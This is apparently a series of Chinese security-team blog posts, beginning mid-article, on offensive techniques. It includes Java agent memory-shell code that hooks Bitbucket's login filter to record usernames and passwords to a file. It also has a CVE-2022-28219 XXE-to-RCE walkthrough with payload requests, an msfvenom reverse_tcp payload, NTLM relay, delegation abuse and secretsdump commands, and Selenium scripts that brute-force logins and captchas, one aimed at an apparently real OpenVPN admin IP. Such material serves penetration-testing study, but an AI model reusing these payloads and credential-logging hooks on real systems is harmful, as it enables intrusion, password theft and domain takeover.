                        System.out.println("MemoryShell has been injected.");
                        vm.detach();
                        return;
                    }
                }
 
            }
 
            System.out.println("No Tomcat Virtual Machine found.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

第四步

随后重新定义要替换的类，获取该类的字节码：

public class Peoples {
    public void say(){
        System.out.println("world");
    }
}

在注射器中看到加载成功：

主程序显示加载成功但并未生效：

尝试解决问题

之前认为retransformClasses可以直接修改一个类，但实际存在限制。retransform主要还是强调装饰，想要修改一个类，还是需要redefineClasses：

ClassDefinition def = new ClassDefinition(Peoples.class, Objects.requireNonNull(TransformerTest
        .getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class")));
inst.redefineClasses(new ClassDefinition[] { def });
System.out.println("redefineClasses success");

结果还是不行：

使用arthas进行诊断

选择虚拟机，进行诊断

使用watch检测say方法的时候发现一直没有变化，使用jad反编译，发现此时类定义已经发生变化：

实际上我们已经成功的替换了这个类。

解决问题

后续经过对比发现问题，一般的Agent内存马项目替换或者修改的都是jdk当中的类，而这里是在Jar包中和主程序中分别定义了一个Peoples类，虽然代码一样但实际可能不是一个类，即在jar包中：

不能使用自己的定义，而使用jdk的就没有问题。通过Instrumentation的函数解决这个问题：

Class[] classes = inst.getAllLoadedClasses();
        for(Class c : classes) {
            System.out.println("searching");
            System.out.println(c.getName());
            if (c.getName().equalsIgnoreCase("Peoples")) {
                ClassDefinition def = new ClassDefinition(c, Objects.requireNonNull(TransformerTest
                        .getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class")));
                inst.redefineClasses(new ClassDefinition[]{def});
                System.out.println("redefineClasses success");
            }

在jar包中动态获取类，这样不需要类定义。查看结果使用redefineClasses依旧无效。

JavaAssist

上面的例子我们用一个新类去redefineClasses失败了，暂时不清楚是什么原因。目前成熟的Agent内存马项目都是用retransformClasses加上JavaAssist实现的。

Javaassist 就是一个用来处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法，或者是修改已有的方法，并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象，通过完全手动的方式。

使用流程如下：

我们对刚才的Agent进行修改，首先是agentmain：

Class[] classes = inst.getAllLoadedClasses();
        for(Class c : classes) {
            inst.addTransformer(new TransformerTest(), true);
            System.out.println("add class success");
            inst.retransformClasses(c);
            System.out.println("retransform success");
        }

其次是transform：

if(!className.equalsIgnoreCase("Peoples")){
            return null;
        }
 
 
        ClassPool classPool = ClassPool.getDefault();
        classPool.appendClassPath(new LoaderClassPath(loader));
        CtClass ctClass = null;
        try {
            ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
        } catch (IOException e) {
            e.printStackTrace();
        }
        CtMethod ctm= null;
        try {
            ctm = ctClass.getDeclaredMethod("say");
        } catch (NotFoundException e) {
            e.printStackTrace();
        }
        StringBuilder codeBuilder = new StringBuilder()
                .append("System.out.println(\"world\");").append("\n")
                ;
        String beforeCode= codeBuilder.toString();
        try {
            ctm.insertAfter(beforeCode);
        } catch (CannotCompileException e) {
            e.printStackTrace();
        }
        try {
            return ctClass.toBytecode();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (CannotCompileException e) {
            e.printStackTrace();
        }
        return null;

重新注入，发现已经成功修改运行中的函数：

几个坑点

1. 在windows下偶尔会遇到 VirtualMachine.list搜索不到目标进程的情况，多试几次就能找到 .
2. 使用arthas诊断会影响注入程序的Agent，如下图：
3. transformer对每个函数都会触发，应当做好判断，若不是要修改的类应该返回原本的字节码，如下

实战使用

内存马项目的demo还是挺多的，看了一下完整度比较高的有https://github.com/threedr3am/ZhouYu，兼容绝大部分的场景。

简单看一下代码，主要是hook了javax.servlet.http.HttpServlet的service方法：

很多内存马都是基于tomcat，hook的是dofiler方法，如https://github.com/safe6Sec/MemoryShell/blob/master/agent/src/com/demo/agent/Main.java，不具备通用性。

ZhouYu实现的效果是将这段执行命令的代码注入所有的http请求之前：

同时会重写jar包，达到持久化注入内存马的效果：

实战注入

在windows下打包编译后在linux运行报错：

看起来是加载器的问题，我们改用之前的加载器在目标编译：

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
 
import java.io.File;
import java.util.List;
 
 
public class Attach {
 
 
public static void main(String[] args) throws Exception {
 
VirtualMachine                 vm;
List vmList;
 
String agentFile = new File("/agent-1.0-SNAPSHOT.jar").getCanonicalPath();
System.out.println(agentFile);
try {
vmList = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : vmList) {
System.out.println(vmd.displayName());
if (vmd.displayName().contains("BitbucketServer") || "".equals(vmd.displayName())) {
vm = VirtualMachine.attach(vmd);
 
if ("".equals(vmd.displayName()) && !vm.getSystemProperties().containsKey("catalina.home")) {
continue;
}
 
if (null != vm) {
vm.loadAgent(agentFile);
System.out.println("insert success");
vm.detach();
return;
}
}
}
 
System.out.println("No BitbucketServer Virtual Machine found.");
} catch (Exception e) {
e.printStackTrace();
}
}
}

注入的结果如图：

扩大利用

使用内存马除了能简单执行命令外，我们还希望可以扩大利用。搜集该服务器上可以利用的资源，一方面我们可以传统的寻找db/配置文件。另一方面，该系统可能被使用oath2、ldap等认证方式。我们可以通过记录密码的手段获取到更多的有效信息。

传统记录密码可能通过js+脚本引擎或使用跨域的请求实现，这里bitbucket用户无法修改js文件。想要记密码需要从服务端想办法。这时候内存马也派上了用场。

查看登录请求，对ZhouYu植入内存的代码稍加修改：

 StringBuilder codeBuilder = new StringBuilder()
                .append("if($1.getParameter(\"j_username\")!=null){").append("\n")
                .append("String password = $1.getParameter(\"j_password\");").append("\n")
                .append("String username = $1.getParameter(\"j_username\");").append("\n")
                .append("String ret=username+\":\"+password+\"\\n\";").append("\n")
                .append("byte[] b = ret.getBytes();").append("\n")
                .append("java.io.File newTextFile = new java.io.File(\"res.txt\");").append("\n")
                .append("java.io.FileOutputStream fw = new java.io.FileOutputStream(newTextFile,true);").append("\n")
                .append("fw.write(b);").append("\n")
                .append("fw.close();").append("\n")
                .append("}").append("\n")
                ;

再次编译并植入，发现虽然显示注入成功但并没有记录到密码。这里当时推测有几种可能性：

1. 植入的代码有问题
2. 代码没有被执行

针对问题1，笔者修改了记录的字段为password，并且将获取到的参数打印在页面中，发现成功记录password参数的值。排除代码的问题。针对问题2，笔者发现植入ZhouYu代码后，向login发送cmd=id并不会执行命令，也就是说我们植入的代码并没有对所有web请求生效。

经过多次测试，笔者发现只要请求带着j_username,那么请求就不会进入我们流程。也就是说j_username的处理逻辑在javax.servlet.http.HttpServlet.service之前或根本没有调用javax.servlet.http.HttpServlet.service。

尝试解决这个问题，笔者首先假设是生命周期的问题，尝试对dofiler进行hook，发现在该接口也无法记录到用户名密码。

在项目所有的依赖中，我们暴力grep j_username字段，发现有一个类包含这个字段。

其中doFilter很显眼，发现继承于GenericFilterBean，最终来自javax.servlet.Filter。我们尝试hook：

提示没有请求体，这应该是个接口/抽象方法，我们只能hook具体实现doFilter的地方。尝试hook com.atlassian.stash.internal.spring.security.StashAuthenticationFilter的doFilter方法，一堆报错，不知道为什么:

这时候笔者觉得j_username的认证可能是中间件完成的，我们只有应用的权限可能无法获取到。那么只有转变思路，寻找程序中类似login(username,password)的函数。

这个函数看起来很对，接受了账户和密码。实际我们需要从javax.servlet.ServletRequest获取。我们尝试hook createContextFromQueryParameters方法，成功记录：

这样还是比较明确的，实际上bitbucket这个项目认证模块没有使用javax.servlet.http.HttpServlet.service而是使用了javax.servlet.ServletRequest。javax.servlet.ServletRequest没有类似service这样可以拿到所有请求的函数，所以无法完成全局的hook。具体项目需要具体分析。

几处改动

1. 修改被hook的类及方法：

 private String[][] methods = new String[][] {
        new String[] {"com/atlassian/stash/internal/spring/security/StashAuthenticationFilter", "com.atlassian.stash.internal.spring.security.StashAuthenticationFilter", "createContextFromQueryParameters", "*"},
    };

2. 修改执行的代码

.append("try {").append("\n")
            .append("javax.servlet.http.HttpServletRequest request = $1;").append("\n")
            .append("String password=request.getParameter(\"j_password\");").append("\n")
            .append("if(password!=null){").append("\n")
            .append("String username=request.getParameter(\"j_username\");").append("\n")
            .append("String r=username+\":\"+password;").append("\n")
            .append("byte[] res = r.getBytes();").append("\n")
            .append("java.io.File newTextFile = new java.io.File(\"/tmp/res.txt\");").append("\n")
            .append("java.io.FileOutputStream fw = new java.io.FileOutputStream(newTextFile,true);").append("\n")
            .append("fw.write(res);").append("\n")
            .append("fw.close();").append("\n")
            .append("}").append("\n")
            .append("   } catch (Throwable throwable) {").append("\n")
            .append("       throwable.printStackTrace();").append("\n")
            .append("   }").append("\n")
            ;

3. 生成新的class增加读写文件的依赖：

classPool.importPackage("java.io.File");
classPool.importPackage("java.io.InputStreamReader");
classPool.importPackage("java.io.FileOutputStream");

4. 删除修改jar包的代码 bitbucket权限无法修改对应jar包

漏洞武器化

不出网环境利用

该漏洞需要有公开的项目，这种情况在外网很不常见。一般内网才能遇到符合条件环境，并且内网服务器出网一般存在限制。如何不出网利用是一个需要解决的问题。

主要障碍是如何把几百K甚至更大的文件传到服务器上。

我们的思路有两个：1.通过java原生的命令对源码进行编译，源码通过echo及base64命令写入。2.寻找上传的地方或记录post包的日志，使用sed/grep将其提取出来。

经过测试笔者发现在搜索触发csrf错误会记录到日志：

配合linux命令进行提取

美中不足的是header中依旧存在长度限制，和get一样需要多次发包。

项目源码获取

拖文件系统还原非常的复杂，成本很高。登录用户界面会记录日志。且该项目使用动态js加载，命令行工具从页面获取较为困难。我们可以进行取巧，bitbucket提供系列api。并且API支持basic认证，可以直接通过api读取文件/下载文件：

http://192.168.137.204:7990/rest/api/1.0/projects/TEST/repos/test/browse/1.txt

http://192.168.137.204:7990/rest/api/latest/projects/TEST/repos/test/archive?format=tar.gz

并且发现bitbuct的后台审计日志并没有记录到日志，结合我们内存马记录到的密码，结果你们懂的。

总结

通过本文，我们学会了如何远程操作jvm虚拟机给目标植入内存马。内存马的功能除了执行命令，我们可以发散思维，拿到一切可利用的东西，比如从jvm中拿到cookie，拿到链接密钥明文等。给我们的渗透带来进一步的可能。

源码

涉及的代码已上传github：https://github.com/7BitsTeam/LearningAgentShell

参考

https://juejin.cn/post/6844904035305127950

https://juejin.cn/post/7078681608206680094

https://blog.csdn.net/jklbnm12/article/details/119335763

https://xz.aliyun.com/t/11003

阅读原文

跳转微信打开

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

Fri, 11 Nov 2022 09:20:00 +0800

原创 7bits安全团队 2022-11-11 09:20 江苏

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

一、环境搭建

需要一个域环境，将机器提升为域控之后。安装managerEngine，直接下载好拖到域控上安装即可。安装完成之后，访问dc的8081端口（默认为8081）。

默认账号为admin/admin，managerEngine也能默认识别到当前登录域的netbios

MangeEngine机器（dc）	域名	攻击机（kali）
192.168.20.246	fbi.gov	192.168.20.151

二、漏洞复现

第一步

首先使用ysoserial生成反序列化payload（使用CommonBeanutils1 gadget）。 java -jar ysoserial-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar

第二步

（https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf 在这里提到，通过xxe我们可以上传文件和列举目录可以使用这个ftp服务器来使文件驻留到目标服务器中。）

使用BlockingServer，可以使用这个ftp服务器来使文件驻留到目标服务器中。 java BlockingServer 9090 xxe-upload-test.jar

之后发送数据包

POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json
[
    {
        "DomainName": "fbi.gov",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "http://192.168.20.151:9090/xxe-upload-test.jar!/myfile.txt\"> ]>&ssrf;"
    }
]

BlockingServer 提供文件并保持连接打开，因此临时文件不会被删除。

第三步

利用XXE漏洞定位上传payload的文件路径。我们在这里使用 GitHub 项目中的 XXE FTP 服务器来泄露目录列表以找到有效负载： python2 xxe-ftp-server.py 192.168.20.151 3000 2121

发送数据包。

POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json
[
    {
        "DomainName": "fbi.gov",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "  http://192.168.20.151:3000/data.dtd\"> %dtd;]>&send;"
    }
]

找到通过ftp上传的临时文件

第四步（触发payload）

curl --path-as-is -v http://192.168.20.246:8081/cewolf/a.png?img=/../../../../../../../../../users/fbi/appdata/local/temp/jar_cache5024000158749136930.tmp

成功触发payload

五、集成脚本

win.ini文件内容。

脚本获取win.ini内容

python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -f /windows/win.ini

执行命令：

python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -c calc.exe

于手工触发的流程一致，多了一个列user目录的过程，来探测当前机器上的用户和用户目录。

找到生成的临时文件tmp之后发送请求访问上传的tmp文件来触发漏洞导致命令执行。

六、SSRF到NTLM中继

我们在攻击者机器上运行著名的响应器工具

python3 Responder.py -I eth0

发送一个请求来触发 XXE 并让 ADAudit Plus 服务器连接回攻击 IP

POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json
[
    {
        "DomainName": "fbi.gov",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "http://192.168.20.151\"> %xxe; ]>"
    }
]

获取用户fbi的net-ntlmhash，后续可以使用hashcat尝试破解NTLMv2hash。

七、通过ntlmrelay获取机器的权限

如果在目标机器上的jdk版本有问题导致无法rce，只存在xxe的情况下作何利用？

ntlmrelay原理：

基本流程如上图所示，在客户端的视角里，攻击者就是他要访问的服务端，它在与攻击者这台主机进行NTLM认证，而整个流程也只有攻击者这台主机与其进行交互。在服务端的视角里，攻击者是客户端，是攻击者在向服务端证明自己的身份。通过中间人攻击的方法，攻击者可以伪造成客户端来完成身份验证。整个ntlm认证过程中，攻击者相当于一个中间人的作用，在不同的认证流程中，扮演不同的认证角色。

一、中继到smb

默认情况，dc开启smb签名认证。其他域内主机未开启。

攻击机kali使用smbrelayx临时起一个SMB服务。

impacket-smbrelayx -h 192.168.20.111 -c hostname

利用xxe发送http请求

在机器上执行命令成功。

或者通过可执行文件直接上线。（工具smbrelay）（联动msf的远控）生成一个后门文件。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.20.151 lport=4444 -f exe -o exp.exe

开启smb服务，让目标机器获取攻击机kali的smb服务上的exp.exe并且执行。

impacket-smbrelayx -h 192.168.20.111 -e exp.exe

通过xxe发送请求

目标机器上线msf 但是session上线之后会自动断掉。

后面查阅到需要使用exploit/multi/handler，配置AutoRunScript，当获取到shell让他进程自动迁移，避免shell文件被删除时连接的shell断开。并且此时弹回来的权限为system。

（在横向移动中，445端口用来进行net use的ipc连接，在工具smbrelayx中，起一个445的smb server来执行命令，还是工具中用到了wmic来执行命令并且通过ipc连接来读取命令执行的结果。同理上线msf也是一样，通过wmic来执行命令获取到攻击机kali的smb上的远控木马到本地，之后再通过wmic去执行命令执行并上线）

高版本server执行失败的情况

如果中继到的机器是2016及以上（这里添加一个域内机器为2016），可以看到调用rpc执行是失败的（rpc默认在这些机器上被禁用）

那么遇到这种情况如何解决？就引出下文的基于资源的约束委派。

二、中继到ldap，基于资源的约束委派

获取到域内一个用户的凭据，账号密码为fbi/p@ssw0rd，此时通过这个账号去添加机器账号

python3 addcomputer.py -method SAMR -dc-ip 192.168.20.246 -computer-name 7niuzi -computer-pass 123456 "fbi.gov/fbi:p@ssw0rd"

python3 ntlmrelayx.py -t ldap://dc01.fbi.gov -debug -ip 192.168.20.151 --delegate-access --remove-mic -smb2support --escalate-user 7niu\$

中继到ldap之后，刚开始使用ntlmrelayx的时候，总是默认导出ldap的信息，同时因为admanager。此工具尝试从域中收集尽可能更多的信息，包括用户，其组成员身份，域计算机和域策略。

除了收集信息之外，还可以通过LDAP写入目录。如果ntlmrelayx遇到具有域管理员权限的用户，它将创建一个新的域管理员帐户，该帐户立即使攻击者可以完全控制域

这里自动将新建的机器账号添加到最高的域管组中，此时该机器账户具有dcsync功能。

impacket-secretsdump 7niu\$:123456@dc01.fbi.gov

如果权限不够的情况下，或者忽略掉工具ntlmrelayx给我们带来的判断权限和自动提升为Enterprise admins组的成员，进行正常的基于资源的约束委派攻击来获取w12主机的权限。再添加一个机器账号。

impacket-ntlmrelayx -t ldap://192.168.20.246 -debug -ip 192.168.20.151 --delegate-access --no-dump --no-da --no-acl --no-validate-privs --escalate-user dandan\$
参数功能相关:
--delegate-access 将中继计算机帐户的访问权限委派给指定帐户
--no-dump         不要尝试转储 LDAP 信息
--no-da           不要尝试添加域管
--no-acl          禁用 ACL 攻击
--no-validate-privs不要尝试枚举权限，假设权限被授予通过 ACL 攻击升级用户

以上通过这些参数来让他仅执行一个基于资源的约束委派，不需要通过枚举之前的枚举权限之类或者acl之类的攻击操作。

burpsuite发包触发xxe，目标机发起http请求。

将凭据中继到域控服务器的LDAP服务上设置基于资源约束委派成功。

票据申请

impacket-getST dc-ip 192.168.20.246 fbi.gov/dandan$:123456 -spn cifs/w12.fbi.gov -impersonate administrator

票据导入

export KRB5CCNAME=administrator.ccache

psexec直接登录w12机器。

impacket-psexec -no-pass -k w12.fbi.gov

ldap信息中该机器账号的msDS-AllowedToActOnBehalfOfOtherIdentity属性值

三、总结

一、该漏洞主要需要知道域名来触发xxe，那么实际使用中如何获取内网域名？

1./api/agent/configuration/getAgentServerInfo 接口中，如果配置了agent之后会有完整的fqdn

2.managerengine登录的时候会显示netbios。

3.如果能遇到存在exchang的，也能够通过exchange的接口获取fqdn。

查看ldap信息w12机器的

二、jdk低版本的401

另外Java在使用内置类 sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时，会判断该页面要求使用哪种认证方式，若采用的NTLM认证则会自动使用当前用户凭据进行认证。如果目标机器未开启防火墙来禁止外部请求smb，或者未对smb进行签名，攻击者便能依此获取NTLM认证请求。

四、参考文章

https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/ https://www.horizon3.ai/red-team-blog-cve-2022-28219/ https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/

阅读原文

跳转微信打开

利用Selenium绕过前端js加密及验证码爆破

Mon, 07 Nov 2022 09:20:00 +0800

原创 7bits安全团队 2022-11-07 09:20 江苏

Selenium+ddddocr识别验证码自动化登录Selenium

Selenium&ddddocr识别验证码自动化爆破

Selenium是什么？

Selenium可以模拟真实用户对URL中的元素进行操作。部分网站采用了一些流量校验算法，会将数据包中的进行加密，然后与计算出来的值进行比对，如果不能解密就加密的算法就很难使用burp爆破，及修改数据包的功能，而使用Selenium可以模拟人操作网站的行为，用户输入URL打开网站，选中输入框，输入内容，点击登录框。如果目标网站开启了一些校验，这些也会自动经过校验处理。而burp是直接跳过了这些操作，直接向服务器发送数据包。

前期准备

需要保证浏览器的大版本号，和浏览器的驱动程序匹配

• 下载Selenium支持的浏览器
• 下载Selenium浏览器驱动程序

安装Selenium py库

Selenium py库安装

pip3 install selenium

如何使用？

自己的默认浏览器的主版本号，需要与驱动的主版本号相同

经过上面的操作，下面需要测试python是否能够启动浏览器，能否加载浏览器驱动。可以使用下面的代码来进行测试

from selenium import webdriver
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe') #指定crome驱动位置
ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform() #防止浏览器退出

执行后成功弹出浏览器。

下面来了解一下Selenium的常见语法

常见语法


title = driver.title # 获取标题
driver.implicitly_wait(0.5) # 等待0.5秒
URL操作
driver.get() # 打开新网页
driver.refresh() # 刷新网页
查找元素
search_box = driver.find_element(by=By.NAME, value="q") # 通过NAME来寻找元素
search_button = driver.find_element(by=By.ID, value="btnK") # 通过ID来寻找元素
find_pass = driver.find_element(by=By.XPATH, value='//*[@id="app"]/div/div[1]/div[2]/div[1]/div/div[2]/input') # 通过XPATH的方式来寻找元素
操作元素
search_box.send_keys("Selenium")  # 输入内容
search_button.click() # 点击按钮
SearchInput.clear() # 清除内容
获取元素信息
value = search_box.get_attribute("value")
结束会话 
driver.quit()

大致流程

查找元素 -> 输入内容 -> 点击按钮 -> 获取返回的元素信息(判断是否登录成功)

打开网页

尝试让python程序打开一个网站。这里使用Pikachu的漏洞靶场来测试爆破功能

from selenium import webdriver
def main():
    driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe') #指定crome驱动位置
    driver.get('http://192.168.180.152/06/vul/burteforce/bf_form.php')#打开指定URL
    ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
if __name__ == "__main__":
    main()

元素选择

元素的选择支持ID，NAME，CSS，XPATH等方式，如果在一个DOM中出现两个相同名元素，默认会选择第一个元素。这里推荐使用Xpath的方式寻找路径。

find_login_box = driver.find_element(by=By.XPATH, value='')

账户输入框

通过查看页面，首先确定账户输入框的位置

获取Xpath

选择登录框元素

find_login_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')

密码输入框

find_pass_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')

输入内容

    find_login_box.send_keys('admin')
    find_pass_box.send_keys('password')

运行后会自动打开网址，然后寻找元素，输入内容

点击操作

元素选择

首先选定Login按钮元素

find_button = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
find_button.click()

运行python程序，会发现自动输入了账户密码，并点击了登录按钮。

完整代码

from time import sleep
from selenium import webdriver
from selenium.webdriver.common.by import By
def main():
    driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe') #指定crome驱动位置
    driver.get('http://192.168.180.152/06/vul/burteforce/bf_form.php')
    find_login_box = driver.find_element(by=By.XPATH,value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')
    find_pass_box = driver.find_element(by=By.XPATH,value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')
    find_login_box.send_keys('admin')
    find_pass_box.send_keys('password')
    find_button = driver.find_element(by=By.XPATH,value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
    find_button.click()
  
    ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
if __name__ == "__main__":
    main()

循环读取

接下来要实现的是循环读取字典中的账户密码，这里主要通过在寻找元素处建立循环。设置一个密码字典，让程序每次自动从python字典中取值。

打开文件

首先建立一个名为pass.txt的文档，其中放上一些密码‘

使用python读取文档

    read_passwords = open('pass.txt', 'r', encoding="utf-8")
    read_passwords.seek(0)

建立循环

这里建立循环使其查找元素，输入密码字典中的密码，登录，不断循环

    for password in read_passwords:
        find_login_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')
        find_pass_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')
        find_button = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
        password = password.strip()
        find_login_box.send_keys('admin')
        find_pass_box.send_keys(password)
        sleep(1)
        find_button.click()

返回包判断

接下来需要对点击登录后，页面的响应进行判断，从而确定是否登录成功。

对是否登录成功，可以通过一些特定的标志，状态码，返回包，进行判断

        loginYN = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/p').text
        if loginYN == "login success":
            print("爆破成功，密码为:"+ password)
        sleep(2)

运行后会自动进行输入，如果识别到特征会自动输出

完整代码

from time import sleep
from selenium import webdriver
from selenium.webdriver.common.by import By
def login():
    driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe')
    driver.get("http://192.168.124.148/test/vul/burteforce/bf_form.php")
    passwords = open('pass.txt','r',encoding="utf-8")
    passwords.seek(0)
    for password in passwords:
        find_login_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')
        find_pass_box = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')
        find_button = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
        password = password.strip()
        find_login_box.send_keys('admin')
        find_pass_box.send_keys(password)
        sleep(1)
        find_button.click()
        loginYN = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/p').text
        if loginYN == "login success":
            print("爆破成功，密码为:"+ password)
        sleep(2)
    #ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
login()

利用ddddorc识别验证码爆破

首先使用官方给的语句，来对验证码进行判断。

逻辑

要实现验证码识别，首先需要将验证码保存，之后利用ddddorc进行识别。

对于动态验证码的保存可以使用selenium中的screenshot方法，网上也存在着通过xpath获取元素并存储图片的方法。

存储图片

find_capcha = driver.find_element(by=By.XPATH,value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[4]/img')
find_capcha.screenshot("showvcode.png")

调用ddddorc识别

        ocr = ddddocr.DdddOcr()
        with open("showvcode.png", 'rb') as f:
            image = f.read()
        res = ocr.classification(image)
        print(res)

完整代码

from time import sleep
from selenium import webdriver
from selenium.webdriver.common.by import By
import ddddocr
def main():
    driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe')  # 指定crome驱动位置
    driver.get('http://192.168.180.152/06/vul/burteforce/bf_server.php')
    read_passwords = open('pass.txt', 'r', encoding="utf-8")
    read_passwords.seek(0)
    for password in read_passwords:
        find_login_box = driver.find_element(by=By.XPATH,
                                             value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[1]/span/input')
        find_pass_box = driver.find_element(by=By.XPATH,
                                            value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[2]/span/input')
        find_button = driver.find_element(by=By.XPATH,
                                          value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/div[2]/label/input')
        find_capcha = driver.find_element(by=By.XPATH,
                                          value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[4]/img')
        find_capcha_box = driver.find_element(by=By.XPATH,
                                              value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/form/label[3]/span/input')
        find_capcha.screenshot("showvcode.png")
        ocr = ddddocr.DdddOcr()
        with open("showvcode.png", 'rb') as f:
            image = f.read()
        res = ocr.classification(image)
        print(res)
        password = password.strip()
        find_login_box.send_keys('admin')
        find_pass_box.send_keys(password)
        sleep(1)
        find_capcha_box.send_keys(res)
        sleep(3)
        find_button.click()
        loginYN = driver.find_element(by=By.XPATH, value='//*[@id="main-container"]/div[2]/div/div[2]/div/div/p').text
        if loginYN == "login success":
            print("爆破成功，密码为:" + password)
        sleep(2)
    ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
if __name__ == "__main__":
    main()

演示‍

实战利用selenium爆破openvpn

判断是否登录成功

URL由https://xxx/admin/ 变为 https://xxx/admin/status_overview

if driver.current_url == 'https://158.247.207.44/admin/status_overview':
    print("登录成功密码为:".password)

完整代码

from time import sleep
from selenium import webdriver
from selenium.webdriver.common.by import By
def main():
    options = webdriver.ChromeOptions()
    options.add_argument('ignore-certificate-errors')
    driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe',
                              chrome_options=options)  # 指定crome驱动位置
    driver.get('https://158.247.207.44/admin/')
    read_passwords = open('pass.txt', 'r', encoding="utf-8")
    read_passwords.seek(0)
    for password in read_passwords:
        find_login_box = driver.find_element(by=By.XPATH, value='//*[@id="username"]')
        find_pass_box = driver.find_element(by=By.XPATH, value='//*[@id="password"]')
        find_button = driver.find_element(by=By.XPATH, value='//*[@id="submit-button"]')
        password = password.strip()
        find_login_box.send_keys('openvpn')
        find_pass_box.send_keys(password)
        sleep(1)
        find_button.click()
        if driver.current_url == 'https://158.247.207.44/admin/status_overview':
            print("登录成功密码为:" + password)
    ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
if __name__ == "__main__":
    main()

演示

参考

https://selenium-python.readthedocs.io/ https://github.com/sml2h3/ddddocr https://baike.baidu.com/item/Selenium/18266 https://vikyd.github.io/download-chromium-history-version/#/ https://www.selenium.dev/documentation/webdriver/getting_started/install_drivers/

阅读原文

跳转微信打开

DotNet安全-从ObjectDataProvider说起

Mon, 31 Oct 2022 09:10:00 +0800

原创 7bits安全团队 2022-10-31 09:10 江苏

通过本文我们来一起了解.net反序列化的基石之一的ObjectDataProvider及一条较为通用的反序列化链TextFormattingRunProperties。

DotNet安全-从ObjectDataProvider说起

引言

